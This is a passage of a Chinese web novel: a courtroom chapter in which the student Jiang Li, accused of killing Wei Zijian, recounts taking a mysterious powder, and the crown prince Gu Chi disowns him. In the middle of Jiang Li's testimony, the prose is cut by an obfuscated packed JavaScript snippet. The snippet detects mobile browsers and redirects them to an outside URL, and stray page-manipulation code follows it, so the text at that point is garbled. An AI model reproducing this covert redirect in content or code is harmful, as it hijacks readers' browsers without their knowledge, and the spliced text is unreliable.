然而,就在罗少卿神色凝重,准备敲响那惊堂木,命堂下公差将蒋礼押上堂来的紧要关头,一道尖锐又洪亮的声音自堂外骤然响起,打破了中殿内的沉静: “太子殿下到!” 此言一出,堂内众人皆是一惊,整个公堂瞬间沸腾起来。 宋旌正疑惑,为何大理寺内不见孙禹那厮的踪影,就忽闻太子亲临的消息。 宋旌转头,看向柳悬,只见柳悬安然坐于轮椅上,仍是一副处变不惊的模样,就像他早已料到太子会出现在公堂上一般。 现下想来,孙禹能将太子令交给自己就说明太子已知晓魏凡一案的内情,虽然宋旌尚不清楚太子有何用意,更不理解孙禹为何会找上他,但是太子与孙禹之间必定有着更复杂的关系。 “恭迎太子殿下。” 随着一声接一声的高呼,众人纷纷跪倒在地,低垂头颅,动作整齐划一,屋内霎时静得只能听见衣袍摩擦的细微声响。 中殿内,被公差押解的蒋礼,眼瞅着一个金冠黄袍的矜贵男子在一众侍从的簇拥下缓缓进屋,他的眼中顿时燃起一抹希望的火光,他急切地挣扎着,试图挣开身后公差的束缚,双手在空中胡乱挥舞时,正好被公差紧紧擒住,动弹不得。 “放开我!”蒋礼朝身后的公差大喊。 “太子哥哥!”蒋礼发力起身,向太子投去求助的目光,带有一丝哭腔,眼里满是哀求与渴望,“太子哥哥救救我!魏子谦不是我杀的!我是冤枉的!” 蒋礼被两个公差从左右两侧夹击,齐齐压在身下,他的挣扎愈发微弱,却仍不甘心地瞪大眼睛,死死盯着太子的方向。 太子眉头微皱,目光在蒋礼的身上停留了片刻,眼中闪过一丝复杂的情绪。 然而,太子很快便收回目光,不再理会蒋礼的苦苦哀求,径直朝堂前行礼的罗少卿与何御史走去。 “罗少卿、何御史。”在旁人眼里,太子只要穿上那身黄袍,便不怒自威,即使太子说话时的语气与寻常人无异,“寡人听闻英才院的落霜院内发生命案,此事亦与母亲的世族有所关联,特来此地,传皇后口谕。” 罗少卿闻言,身形微微一震,连忙先一步匍匐在地,以额点地道:“微臣领旨。” 何御史则面不改色,随罗少卿一同跪下接旨。 太子微微颔首,目光深邃,用眼角余光轻扫蒋礼一眼,像是下定了某种决心般,缓缓开口道:“吾深信魏都尉忠诚昭著,义薄云天,为国效命,其子猝然离世,必当彻查详审,以明真相,以正视听。然吾素谙礼儿性情温良恭俭,断无非分之胆,妄图加害于魏子。望罗少卿与诸君,共谋此案,细究其源,为魏子涤荡冤屈,还其清白。若礼儿果真犯下不赦之罪,有悖于天理,亦望罗少卿与诸君能依律而行,为蒋家肃清门楣,保全蒋氏之千秋名节。” 太子一言既出,众人闻言,心中皆是为之一震,各有盘算。 宋旌敏锐地捕捉到太子对蒋礼那若有若无的疏离,心中暗自思量: 想来蒋礼上一次身陷囹圄时,太子未必向他伸出援手,说不定太子极有可能会为了避免蒋礼胡乱攀扯而急于撇清关系,与蒋礼划清界限。 如今,八皇子在民间声名鹊起,其威望隐隐有超越太子之势,而八皇子又一向以不争不抢的明君之姿示人,这无疑会让太子与皇后心生忌惮,很有可能会为了大局而弃车保帅、牺牲掉蒋礼这枚棋子。 只是……此举若未得蒋聪应允,必定会激怒蒋聪那个睚眦必报的小人,再引来他的疯狂反扑。 这一次,若是蒋礼再因为魏凡一案而被定罪,以魏鹏在京中的势力与圣上那难以揣测的心思,那蒋礼恐怕还是难逃秋后问斩的厄运。 太子刚传完皇后懿旨,大手一挥,身形微动,便朝宋旌的方向行去。 “参见殿下。”宋旌的行礼既不失臣子的本分,又恰到好处地展现了他的傲骨,既不显得过分恭敬,也不至于失了礼数。 “宋小将军与柳公子果真在此。”太子的语气中充满了自信与肯定,就好像一切尽在他的掌控中,就连宋旌他们会出现,也正是他早有预料的事。 宋旌从太子的言辞间,察觉到一丝不同寻常的气息。 先说,那孙禹虽命侍从传话,声称自己有意邀宋旌一同前往大理寺听审,但眼下却似人间蒸发一般,既未能见其身影,也未曾闻其声息,这便说明,要么孙禹从一开始就只是想借机试探宋旌对他的真实态度,并无意露面,要么就是孙禹有更深远的谋划,他发现在自己的布局中,不见宋旌比见宋旌的价值更大,故而为了大局,孙禹尽管一心想要拉拢宋旌,但依旧选择放弃这个机会,只为等待更好的时机。 再者,太子对宋旌与柳悬会现身于大理寺显得颇为从容,这便说明,要么是孙禹与太子的关系密切,两人休戚与共,早已联手布局,精心策划好这一切,只为引诱宋旌自行步入局中,要么是太子手眼通天,手中掌握着连孙禹都未曾知晓的信息渠道,这个渠道就像一张无形的网,监视着朝野上下每一个角落,让太子随时随地能够获取他想要的任何信息。 其间错综复杂的关系,宋旌一时间还无法理清。无论是孙禹,还是太子,对宋旌来说都是雾里看花,知之甚少。 提及孙禹,宋旌只知晓,孙禹曾经十分忌惮柳悬,曾有过“树有长青,人无常胜”的感慨;以及他曾经身为太子幕僚,却在八皇子夺权薨逝后,以太子膝下一名庶子的名义建立起一个名为“北旗”的新国,企图挟天子以令诸侯的传闻;还有他曾以肃清北旗反贼的名义,与柳悬这个反贼军师交战多年的往事。除此以外,有关孙禹在战场之外的其他事迹,宋旌则是一无所知。 至于太子,宋旌虽与太子同窗多年,但两人的关系实在谈不上亲近。 曾经,在宋旌眼里,幸帝膝下尚未夭折的九个皇子中。 太子顾驰性格娇纵、自视甚高,尽管外表看似强大,实则外强中干、内心软弱,哪怕心思不坏,可是资质平庸,过分在意毫无价值的名声与气节,显得有些庸碌无为; 而八皇子则相反,他处事圆滑、善于伪装,尽管外表看似柔弱,实则心狠手辣、不择手段,哪怕心思过重,可是城府颇深,一生追求至高无上的权利与地位,显得有些急功近利。 正因如此,宋旌曾一度对这两位皇子持轻视的态度,认为一个爱惜羽毛、胸无大志的蠢才与一个心胸狭隘、睚眦必报的小人并非能够保住旗国千秋基业的栋梁之才。 未免旗国百姓面临亡国之祸、未免宋家遭受灭顶之灾,活了两次的宋旌还是觉得应该以大局为重,哪怕他依旧觉得孙禹有一颗狼子野心,实在难以对付,但是他仍然认为孙禹不过是他与柳悬当年的手下败将,自己的当务之急,应该是阻止旗国未来有可能发生的八皇子之乱。 只要旗国这座大厦不会因为八皇子的愚蠢而坍塌,那太子与孙 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顾驰见状,眉心紧锁,脸上露出极为嫌恶的表情,他轻哼一声,透露出几分不悦与戾气:“你瞅我做甚,罗少卿问你话,你照实答便是!何必如此畏首畏尾?莫非当真心里有鬼不成!” 蒋礼被反应过大的顾驰一通不近人情的当头棒喝后,眼底划过一丝慌乱,在震惊与茫然的同时,声音发颤地回道:“吾乃槐地鲷州刺史之子,蒋礼。” “昨夜案发之时,你身在何处?”罗少卿端坐在公案之后,眼露寒芒,紧紧地盯着堂下的蒋礼,发问之声在空旷的公堂上回荡。 王寺丞则在一旁,持笔记录着堂上的每一句话,偶尔抬头,目光扫视过堂内众人。 蒋礼脸色惨白,仿佛是被抽走了所有的血色,他支支吾吾,嘴唇微颤,却迟迟未能吐出一句完整的话来。 “我……”只见他用手紧揪住衣角,磕磕巴巴,犹豫再三,才挤出一句话:“我与子谦兄同在落霜院的厢房内。” 罗少卿见状,眉头拧成一团,他迅速翻阅起小吏们提前准备好的各类卷宗。 每翻一页,那沙沙的声音在安静的公堂上都显得格外刺耳。 片刻后,罗少卿抬起头,目光再度锁定在蒋礼身上,声音低沉:“据我所知,你与魏子谦,一个住在南边的落霜院,一个住在西边的栖霞院,两院相距甚远,计其步程约莫有八里地,纵使你步履匆匆,最快也要半个时辰。日落西山之后,你不在自己的栖霞院里好好待着,不辞辛劳,跑到落霜院,去他的厢房里做甚!?” 罗少卿的诘问,犹如利刃般,直刺蒋礼的心脏。 蒋礼的身子猛地一颤,他试图解释,却是慌了神,只能结结巴巴地吐出几个不完整的词音,声音颤抖得令人听不清他想说些什么。 “还不速速招来!”罗少卿突然朝堂下怒喝一声,一拍惊堂木。 那惊堂木在击打公案时,发出振聋发聩的声响,仿佛要将整个中殿都震塌。 罗少卿将手中卷宗猛地掷在桌上,一沓竹纸散落在公案上,纸张纷飞,他的眼中仿佛燃起地狱的烈火,正炙烤着堂下的蒋礼。 蒋礼被那道怒喝声吓得魂飞魄散,他匍匐在地,连连磕了好几个响头,额头上的汗水与泪水交织在一起,湿透了衣襟。 蒋礼的哭声在中殿内回荡,带着无尽的恐惧与绝望,他趴在地上,身体因惊恐而微微颤抖,双手紧紧地抓着地面。 “请罗公明鉴!”蒋礼的声音沙哑,他大哭着,整个身体贴在地上,仿佛要将自己完全隐藏起来,只敢用那充满惶恐与不安的余光偷偷地、小心翼翼地瞥向堂上正端坐着的罗少卿,眼泪如断了线的珠子,不断地从眼眶中涌出,滴落在冰冷的地面上:“我当真不曾想要杀害魏子谦!我只是……只是……” 蒋礼的眼珠子在眼眶中不停地打转,嘴唇微微颤抖,仿佛要说些什么,却又迟迟未能开口。 蒋礼依旧不敢抬头,他边思索边斟词酌句地回道,“启禀郎君,昨日我本是去找魏子谦议事,怎料那魏子谦一时兴起,便想拉我一起吃酒,我当时推拒不过,只得留宿在他的房内,并非事先有所准备,特意去杀他的呀。” 罗少卿静听着蒋礼的辩解,他的脸上没有丝毫的表情,只微微向前倾身,双手轻轻交叠,手指不自觉地敲打起桌面,发出有节奏的声响。 此时,罗少卿的声音虽缓和一些,却依旧带着不容置疑的威严:“哦?那我且问你,你是因何故去寻那魏子谦?” “是因……”蒋礼欲言又止,又开始言语不详。 宋旌从蒋礼的脸上,瞧出了一丝犹豫与惊惧,只见他紧紧咬住下唇,似乎要阻止自己说出些什么,却又无法抵挡那即将到来的崩溃。 “还不快说?!”罗少卿乘胜追击,心中不禁升起一股怒意,他猛地一拍惊堂木,那震耳欲聋的击打声再次响起。同时厉声催促道,“你若还不肯说实话,休怪我大刑伺候!” 蒋礼闻言,心中大惊,他知道自己已经走到了绝境,倘若再不肯说几句真话,恐怕就真的没有翻身的机会了。 心中的防线轰然坍塌后,蒋礼急急大喊道:“是因栖霞院闹鬼一事!我……我是为了栖霞院闹鬼一事才去找魏子谦商议对策,我听魏子谦说他有法子能治那恶鬼,才在夜深之前去寻他详谈,可谁料……谁料竟然会发生这样的事情……” “栖霞院闹鬼一事?” 罗少卿与众人闻言,皆是一脸疑惑。 王寺丞与刘中丞相视一眼后,同样是眉心紧蹙,一脸凝重,似乎在努力回忆什么。 王寺丞坐在公案下,暗自翻看起手中的笔录,想从范法曹提交的证词中寻找出蛛丝马迹,可却一无所获。 堂上,除宋旌与柳悬以外,众人似乎皆未听闻此事,他们面面相觑,心中充满了不解与好奇,纷纷交头接耳,议论纷纷。 25.陈情 “千真万确!”蒋礼猛一抬头,冷汗直滴落在地面上,他双手死扣地面,指尖嵌进青砖的缝隙间,勉强支撑着吓得软塌塌的身子,双眼圆睁,身体前倾,凝望着迟疑的罗少卿,焦急地解释道:“一旬前,栖霞院每至三更就会出现一长发女鬼,那长发女鬼不去别处,只在我的院中游荡,搅得我日日不能安生、夜夜不能安眠,几近崩溃的边缘。” “这些时日,外界流言皆传我因见鬼而疯癫!学博……学博甚至为此,专门请来宫中御医,要当面为我诊治,以确认我是否癫狂?” “若我不能铲除那恶鬼,向世人证明我的清白,我就要被英才院所抛弃,以一事无成的身份,被遣送回鲷州……” 蒋礼的声音逐渐低沉,语气中充满了绝望与不甘。 “不!” “我绝不能被送回去!” 蒋礼突然怒目圆睁,拔高声调,如同一只走投无路的困兽般嘶吼出来,声音中充满了不甘与抗争。 “圣上有旨,若门生无法通过英才院的考核,便再无仕途可言,更别提那遥不可及的科举之路!我一生的前程,我所有的功名,绝不能就这样毁在一个女子手中!” 蒋礼似是想到什么,握紧双拳,恨得咬牙切齿,指节发出细微声响。 “我并非没有尝试过!我花重金请来那些被誉为驱邪高手的和尚、道士,可是他们……他们都束手无策,他们只能眼睁睁地看着那女鬼在我的院中肆虐!” “我实在是万般无奈,才不得不求助于见多识广的子谦兄……” 蒋礼长叹一声,不敢抬头去瞧堂上的任何人,又将一颗头重重地垂了下去。 “昨日酉时初,天色渐暗,我正忧虑那女鬼一事,便接到了子谦兄的传话,说他找到了整治那恶鬼的法子,请我前去细细详谈,我心中大喜,马不停蹄,连寝衣都未及更换,只匆匆披上一件外衣,便心急如焚地赶往他的院中。” 罗少卿轻轻放下手中的惊堂木,那声音在庄重的堂上显得格外响亮,他用手指缓缓摩挲过下巴,眼神锐利,仿佛能洞察人心:“你说是魏子谦邀你前去,你可有人证物证?” 蒋礼一震,整个人瞬间绷直,眼底划过一丝亮光,他用一只手直直指向那扇禁闭的门扉外,手指因激动而发抖,仿佛那扇门后藏着能证明他清白的证据。 “有的,自然是有的!我院中的侍女宝玲在我离开时亲眼所见;还有子谦兄院中的侍女紫珠也能作证。我……我……我真的没有杀害魏子谦!” “即是如此,”罗少卿打断他,眉头紧锁成川,顿了顿,声音冷冽,带着不容置疑的威严,“那为何魏子谦的侍郎含光一口咬定,他曾亲眼目睹你与魏子谦在房中争执不休?甚至是拳脚相向?你又为何在离开魏子谦的房间时,衣衫凌乱,领口松开,神色慌张,仿佛做了什么见不得人的勾当?且你离去后,为何偏偏魏子谦就恰巧被人刺死在自己房中?那刺客莫非还刻意避开你的行踪不成?!这其中的诸多巧合,你又作何解释!?” 罗少卿的话掷地有声,他突然一拍那厚重的公案,力度大得仿佛要将手下的桌子拍碎,他豁然站起身,宛如金刚怒目,眼中似有火焰在燃烧,他伸出一根手指,直直指向蒋礼,大声喝道:“大胆狂徒,为何遮遮掩掩,还不快将昨夜之事细细如实道来!” “罗公在上!”蒋礼被罗少卿那凌厉的气势吓得一僵,急忙伏身贴在地上,双手抱头,颤声喊道:“晚生……晚生冤枉啊!” “昨日,”蒋礼努力回忆,额上渗出细密的汗珠,他脸色苍白,呼吸变得急促而紊乱,上气不接下气,仿佛每说一个字都需要耗尽他的心力:“我到子谦房中后,他便吩咐小厮布置酒菜,说是不急着谈正事,要同我边吃边聊,我自打在栖霞院遇上那闹鬼一事后,心里便极为害怕夜间独处于无人之地,况且我与子谦交情甚笃,他平日里对我又照顾有加,见他盛情相邀,怎会假意推脱?于是便顺理成章,留在了他的房中。” 罗少卿冷哼一声,再次打断蒋礼,言辞犀利,质问道:“哼,你方才还说,你是推拒不过才勉强留在魏子谦的房中,现在又说是因两人交情甚笃而无法推脱?你的话颠三倒四、前后矛盾,究竟是想故意隐瞒些什么!” 蒋礼被罗少卿的喝斥吓得一怔,他吞吞吐吐,眼神飘忽不定:“晚生……晚生方才是怕自己说了实话,罗公会一口咬定晚生就是谋害子谦的凶手,所以……所以才一时情急,不慎失言……” 罗少卿闻言,一言不发,眉宇间渐渐聚拢起沉重的阴云,他沉默半晌,仿佛在仔细斟酌每一个字眼的分量,片刻后,才终于启唇,缓缓开口:“继续说,将你记得的事,原原本本、一字不落地说出来,不要遗漏任何一个细节。” “是!”蒋礼在回话时,带有一丝不易察觉的犹疑,他小心翼翼,打量起堂上的罗少卿,深吸一口气,陈述道:“我与子谦兄对坐共食,言谈甚欢。然而,不过一个时辰的光景,子谦兄忽然面色一变,眉头紧蹙,声称头疼难忍,让我速去唤他的近侍含光。” “含光从外间匆匆而来,服侍子谦兄服下汤药,但是汤药并未起效,反而导致子谦兄更加焦躁不安,坐卧不宁。” 蒋礼稍作停顿,好似又瞧见了昨日的场景,眼中闪过一丝惊恐,接着说:“未及巳时,当我俩说到子谦兄曾提及的那位神秘散仙。” “就在那时,子谦兄突然倒地,抱头哀嚎,痛苦之色溢于言表。他在地上疼得不停打滚,不慎将书案上的竹筒打翻,筒里的扇骨散落一地,发出凌乱的声响。我见状,连忙伸手欲扶,却不料子谦兄猛地一挣,竟一把将我推得踉跄后退,跟着一起倒地。他那时眼神迷离、心神恍惚,身形摇摇欲坠,筋骨绵软,浑身上下抖若筛糠一般。那时,我虽听他时而呼冷,时而呼热,但却见他汗如雨下、衣衫尽湿,同时还喃喃自语,在涕泗横流中,时不时发出一阵痛苦的呻吟,双手胡乱抓着,不断去薅自己的头发,仿佛随时都会崩溃。” “我当时生怕子谦兄是中了邪,会失去理智,做出什么伤害自己的举动,于是毫不犹豫地冲至他的身后,紧紧抱住他,试图用我的力量去约束他的手脚,让他逐渐平静下来,不再胡乱挣扎,可是子谦兄毕竟是个常年练体的武士,他的力量远非我所能及。我拼尽全力也无法完全控制他,只能与他扭打在一起,彼此纠缠,那时,房间里确实充满了打斗的喧嚣与混乱。” 蒋礼急着证明自己的清白,又接着补充道:“这一点,那名唤含光的侍郎也能为我作证。他在那期间曾在屋外问过话,想进屋来查看子谦兄的情况,却被子谦兄那暴躁的情绪和不稳定的心绪给硬生生地吓退了,最终只能无奈离开。” “后来,”蒋礼的声音低沉了些许,“等子谦兄稍稍恢复了一些神智,他便吩咐我去匣子里为他取一个药包,再用热酒为他送服。我按照他的吩咐行事,心中却充满了疑惑。” “起初,”蒋礼皱了皱眉头,眼神变得迷离,似乎在努力回忆当时的情景,“我也不知晓那四四方方的药包中究竟装得是什么东西。等子谦兄服下那药包中花花绿绿的粉末后,他才告诉我,说是那药包里的东西服用后能令人飘飘欲仙,仿佛置身于云端之上,而且还能延年益寿,是道家仙门修身养性的好宝贝,让我也跟他一同试试,说或许能缓解我心中的恐惧,让我一夜安眠。” 蒋礼说着,眼眶渐渐泛红,嘴角那抹苦涩的笑意也变得越发明显,他的眉头不自觉地轻轻蹙起,眼神变得黯淡,仿佛被一层薄雾笼罩,流露出深深的悔恨与无奈。 “罗公有所不知,我自从遇见那恶鬼以后,”蒋礼的声音艰涩,每一个字都像是从齿缝间挤出来似得,“每至夜深人静,我便辗转反侧,难以入眠。心中充满恐惧与不安。” 说到昨夜,蒋礼的眼神突然变得明亮了一些,他的嘴唇微微发抖,仿佛是在回味某种滋味儿:“昨夜,听闻子谦兄说那粉末服用后能使人浑身通畅,安然入睡,我一时心痒难耐,再也无法抑制心底想要一探究竟的欲望,又经受不住子谦兄的一再诱惑,便鬼使神差地跟着他一块儿服用了那药包中的粉末。” 蒋礼的眼神开始变得涣散、空洞,仿佛陷身于某种其妙的幻境中,脸上若有似无地浮现出一抹眷念的神色,嘴角也微微扬起一抹沉醉的笑意,仿佛再次体验到了昨晚的飘飘欲仙之感:“那粉末需要伴随热酒饮入喉间,当吞下粉末后,我就感觉到一股温热的气息自丹田处缓缓升起,瞬间便弥漫至四肢百骸。” “那感觉……那感觉就像是春日里的一缕暖阳穿透云层,照入心房;又好似有烈酒入喉,烧灼着我的每一寸肌肤。我沉醉其中,心神荡漾,只觉得热气腾腾、浑身有用不完的力气,我与子谦兄在房间内不停地行走,飘飘然,犹如置身云端,似有羽化登仙之感!” “那一刻,在我的眼中,世间万物皆变得虚无缥缈,世间的一切烦恼与忧愁都忽然消失不见,我好像浑然不知畏惧为何物,身上有使不完的力气,只觉得心火难耐,不知不觉间,就好似置身于东海的波涛里,在一阵阵海浪的席卷下,身子不断沉浮于其中,逐渐失去了意识,直到我……直到我再次醒来……” 然而,当蒋礼说到“再次醒来”时,他的眼神又重新暗淡下来,他突然变得惊恐万分,仿佛看见了什么极为可怕的东西。 一瞬间,蒋礼的脸色变得煞白,嘴唇也失去了血色:“可是……可是当我再次睁开双眼的时候,我被房间里发生的事情吓得魂飞魄散。我看见……我看见子谦兄的胸口流了好多的血!我用手去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14407418|148359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碰他,那鲜红的血就沾在我的手指上,刺痛了我的双眼……” 蒋礼瞪大眼睛,惊恐的盯住自己的双手:“恍惚间,我好像又听见了那女鬼幽怨的呼唤声就在我的身后,我……我以为是那厉鬼前来索命,吓得瘫软在地!” “那一刻,我的脑海中一片空白,只有一个念头在闪烁,那就是逃!逃得远远的,逃到那女鬼永远也找不到的地方去才好!”蒋礼忽然大吼一声,又颓丧地摔坐在地。 “于是……”蒋礼说到最后,声音已经变得哽咽,他用力地揉了揉眼睛,试图止住夺眶而出的泪水,“我当时被恐惧支配,只顾着亡命奔逃,我……我甚至没有勇气回头望上一眼,我也不知道……不知道子谦兄是否还……还有活着的气息。” 蒋礼失魂落魄地低下了头,仿佛这一番自白耗尽了他全身的力气。 罗少卿的眉头拧成了一团,眼神中流露出明显的怀疑:“照你的说法,你也浑然不知那魏子谦前胸的刺伤究竟是何人所致?又是从何而来?” 蒋礼将头埋进高耸的肩膀间,不敢轻易直视罗少卿的眼睛,他的手指紧紧地缠绕在一起,结结巴巴地说:“我……我当时……当时服了药粉后便昏了过去,的确不曾留意……” 蒋礼的声音越来越低,仿佛连自己都不太相信这个说辞。 “荒唐!” “简直是一派胡言!” 何御史怒不可遏,猛地站起身,大步流星地走到公案前,脸色铁青,双眼中燃烧着怒火,他一把抓起桌上的惊堂木,用尽全身力气,狠狠地拍在公案上。 “啪”的一声巨响,每个人的心都随之一颤,空气中霎时出现一股剑拔弩张的紧迫感。 “将证物呈上堂来!”一直沉默不语的何御史突然开口,向堂下候着的小吏怒吼道,他的声音,如同雷鸣一般,穿云裂石,回荡在整个公堂之上。 小吏闻言,脸色一变,在应声时,连忙转身,快步奔向证据,生怕稍有迟疑便会惹来更大的怒火。 很快,小吏就捧着一件血衣和一把带血的刻刀回到公堂之上,恭敬地呈递到众人的眼前。 此时,那血衣上的血迹已干,呈现出暗红色的斑驳,刻刀上也是血迹斑斑。 蒋礼看见公案上的两样物件时,脸色骤变,好似被闪电击中一般,他的双眼猛地睁大,瞳孔急剧收缩成一条细线,嘴唇微微颤抖,明明想为自己出声辩驳,却吐不出一个完整的字来,只是呆呆地跪在那里,仿佛身陷于冰冷的深渊地底。 何御史瞥见蒋礼的反应,嘴角勾起一抹冷笑,好似猫捉到老鼠一般得意。他大步走到蒋礼的身旁,站得笔直,犹如一座高耸入云的山峰。他居高临下地斜睨着萎靡不振的蒋礼,眼中满是冷漠与嘲讽,仿佛是在看一只微不足道的蝼蚁。 “你必定惊诧不已,明明你已经严命婢女将那衣物化为灰烬,为何它们还能重现于公堂之上,成为呈堂证供?” “皆因你未曾料到,那婢女心性怯懦,一早听闻英才院中有宿卫正在缉拿凶徒,便惊惧交加,躲于下房,不敢越雷池半步,亦错失了销毁罪证的良机。” 何御史负手而立,高大的身躯在蒋礼的身边壮如高山,将哆哆嗦嗦、几乎要瘫倒在地的蒋礼完全笼罩在他的阴影之下,再一步跨上前去,用铁钳般的大手一把抓住蒋礼的右手,将其高高举起。 众人的目光瞬间跟随何御史的动作聚焦在蒋礼的右手上,只见蒋礼的掌心有一道触目惊心的新鲜伤痕,那伤痕宛如一条狰狞的蜈蚣,爬行在他的手心,伤痕深浅不一,显然是被利器所伤。 “说说吧,蒋公子,”何御史的声音冰冷而威严,从蒋礼的头顶轰然炸响,他松开抓住蒋礼手臂的手,任由那只绵软无力的手臂自然垂落,仿佛是在丢弃一件毫无价值的物品,“这血衣上的血迹到底是从何而来?你又是如何将这把刻刀狠狠地刺进那魏子谦的体内?我劝你,还是老老实实交代清楚,免得受那皮肉之苦。” “我……” 蒋礼的身体颤抖得更加厉害,他的双眼溢满了发自内心的恐惧,一双无神的眼睛黑洞洞地望向堂上的罗少卿,两片干裂的嘴唇微微翕动,却说不出一句能让人分辨清楚的话来。 终于,在那极其压抑的氛围中,蒋礼的心理防线彻底崩溃,他抬起那双满是祈求的眼眸,如同溺水者在水面下唯一能够触碰到的浮木,牢牢地锁定在太子顾驰的身上。 蒋礼的眼中盈满泪光,仿佛在无声地呼唤着救命,希望顾驰能够以太子的身份为他抵挡住那些即将倾泻而下的狂风暴雨。 可是……太子顾驰的反应却极为冷漠。 蒋礼眼睁睁地看见顾驰缓缓起身,脸上阴云密布,嫌恶的眼神中透露出一丝令人难以觉察的厌倦与疏离。 26.逼供 顾驰的眼神冷若冰霜,他仿佛是在看一个与自己毫无瓜葛的陌路人。 在蒋礼的注视下,顾驰的眉头微微向内一拧,随后毫不犹豫地迈开步伐,准备离开这个充满纷扰与喧嚣的公堂,好似这里正发生的一切都与他无关,他只是偶然路过的一位看客。 在离开中殿以前,顾驰的目光在公堂内扫视一圈,最终定格在何御史与罗少卿的身上。 顾驰的声音平静而淡漠,仿佛是在说与自己毫不相干的事情:“事已至此,后续的一切事宜就劳烦罗少卿与何御史两位郎君多多费心了。寡人方才忆起府中尚有几件要事亟待处理,需即刻启程,这后续的审讯,寡人便不再旁听,一切全凭二位做主。” 言罢,顾驰轻轻抖了抖宽大的衣袖,转身欲去,那姿态中透露出一种无法言喻的高傲与冷漠。 众人从顾驰的言行与神态中,清晰地感受到他对蒋礼的不屑与摒弃,仿佛蒋礼的生死与他毫无关系。 蒋礼的目光死死地盯住太子那决绝而去的背影,心中的希望也如风中的残烛,微弱地闪烁着,仿佛随时都会被黑暗吞噬。 蒋礼的眼神空洞,他仿佛失去了所有的力气与方向,在极度的失望下,他的身体开始不受控制的打颤,他紧握双拳,双眼逐渐失去光彩,变得黯淡无光,充满了深深的哀怨与无助。 这一刻,蒋礼好像被全世界所遗弃,他孤独地站在一个无人问津的角落,远离在场的所有人。 蒋礼紧咬牙关,牙齿发出“咯咯咯”的声响,他仿佛要将那无尽的恐惧与不安也一同咬碎一般,双拳用力攥住衣衫,指甲狠狠嵌入掌心,疼痛如电流般传遍他的全身,让他稍微寻回一丝混沌中的清醒。 就在这时,蒋礼突然间回过神,眼中闪现过一丝疯狂与决绝,他仿佛是要抓住那最后的一线生机,猛地从地上爬起来,不顾一切,冲破顾驰身边层层包围的侍从,如同一只翻越栅栏的野牛般,在众人猝不及防的注视下,直奔太子而去。 蒋礼一把揪住顾驰的衣角,五指因用力过度而微微颤抖,声音中夹杂着歇斯底里的哭腔,向顾驰发出近乎绝望的哀求:“太子哥哥!求求你,请你看在我爹的情面上!救救我!我……我还不想死!你不能对我如此绝情啊!你不能见死不救啊!” 蒋礼的眼泪像是大雨下屋檐边的一串串雨帘,顺着脸颊滚滚而下,滴落在顾驰那身华贵的金线黄袍上,却石沉大海,无法在顾驰的心中激起一丝波澜。 顾驰的脸色霎时变得铁青,他的眼眸中闪过一丝难以掩饰的厌恶与冷漠。 顾驰低头瞥了一眼蒋礼,那眼神如同看待一只肮脏的爬虫,充满了无尽的轻蔑与憎恶。 顾驰猛地一拽,将被蒋礼紧抓的衣角狠狠扯出来,像是急于甩掉一个麻烦的包袱一般,声音阴冷而无情:“哼!你还有脸求救?你个蒋家的败类,做出此等大逆不道之事,你简直是罪该万死!反正你活着也只会是蒋家今后的耻辱!令蒋家为你蒙羞!我要是你,与其苟延残喘的活着,成为蒋家今后抹不去的污点,倒不如死了,从此一了百了!” 说完,顾驰眼中闪过一丝决绝,他再也不看蒋礼一眼,转身便走。 一群小吏眼疾手快,如狼似虎般,猛扑上来,将蒋礼团团包围。 小吏们身手敏捷,他们有的缠住蒋礼的双腿,有的按住他的肩膀,牢牢地控制住他那疯狂挣扎的身体,不让他有丝毫乱动的机会。 蒋礼的双手被三四个小吏紧紧地反扣在他的背后,他的脸上写满了愤怒、不甘与绝望,青筋在额头上暴起,双眼似乎能喷出火来。 蒋礼被侍从们拦在了一丈之外,他眼睁睁地看着顾驰的背影越来越远,心中充满了不甘与愤怒。 此时,他如同一只被囚困在牢笼中的野兽,他拼尽全力地挣扎,想要挣脱身上的束缚与枷锁,想要再次抓住太子,为自己争取那并不存在的生机,他双腿猛地一蹬,身体向前扑去,可他就像一条垂死挣扎的鱼,在扑腾了一下后,立马就被涌上来的小吏们死死按住,动弹不得。 蒋礼的声音已经因疯狂的嘶吼而变得沙哑不堪,可他依然拼尽全力,歇斯底里地喊道:“太子哥哥!你不能这样对我!你不能弃我于不顾!” 然而,顾驰却好似完全听不见蒋礼的声音一般,脚步没有丝毫的停顿,坚定地踏出了中殿的大门,他的背影在屋外的阳光下拉得越来越长,却也越来越冷漠,仿佛与蒋礼之间隔着无法逾越的鸿沟。 蒋礼见自己彻底被顾驰抛弃,心中的恨意与怨念如潮水般汹涌而出,几乎要将他的理智淹没。 蒋礼的双眼瞬间变得赤红,眼球上布满密集的血丝,仿佛要滴出血来,嘴角也溢出一丝鲜血,那是他在挣扎时咬破自己的唇瓣所留下的痕迹,青筋在他的脖子上暴起,宛如一条条狰狞的小蛇,随着他那逐渐粗重的呼吸声,上下起伏。 蒋礼还是失去了理智,他发疯般,在一群小吏的控制下,胡乱挣扎,失控地大声咆哮着:“顾驰!!!你个冷血无情的小人!姨母明明答应过我爹,会好好照顾我,你们怎能背信弃义!?怎能见死不救!你今日拿我祭天,我蒋礼死后,就算是做鬼,也不会轻易放过你!” 蒋礼的声音凄厉而绝望,带着一种歇斯底里的力量,在公堂中悠悠回荡,震得人心神俱颤,却无法改变他此时此刻的处境。 罗少卿闻言,横眉冷目,从高堂的公案后,猛地站起身,浑身散发出一股强大的威压,他伸出手,从右上角的签筒里抽出一支令签,手指用力,几乎要将令签捏碎。 “大胆狂徒!”罗少卿的声音在公堂中炸响,“你不仅咆哮公堂,扰乱秩序,还敢直呼太子殿下名讳,简直是无法无天,目无尊卑!” 随着话音落下,手中的令签随罗少卿的宽袖一挥,被狠狠地掷在地上。 “来人!”在令签落地时,罗少卿向堂下的小吏们厉声命令道,“将这凶徒给我拖下堂去,先打上三十板,再行审问!我倒要看看,他还敢不敢如此嚣张!” 伴随罗少卿一声令下,那几个原本就死死摁住蒋礼的小吏们更加卖力,将蒋礼摁倒在地上。 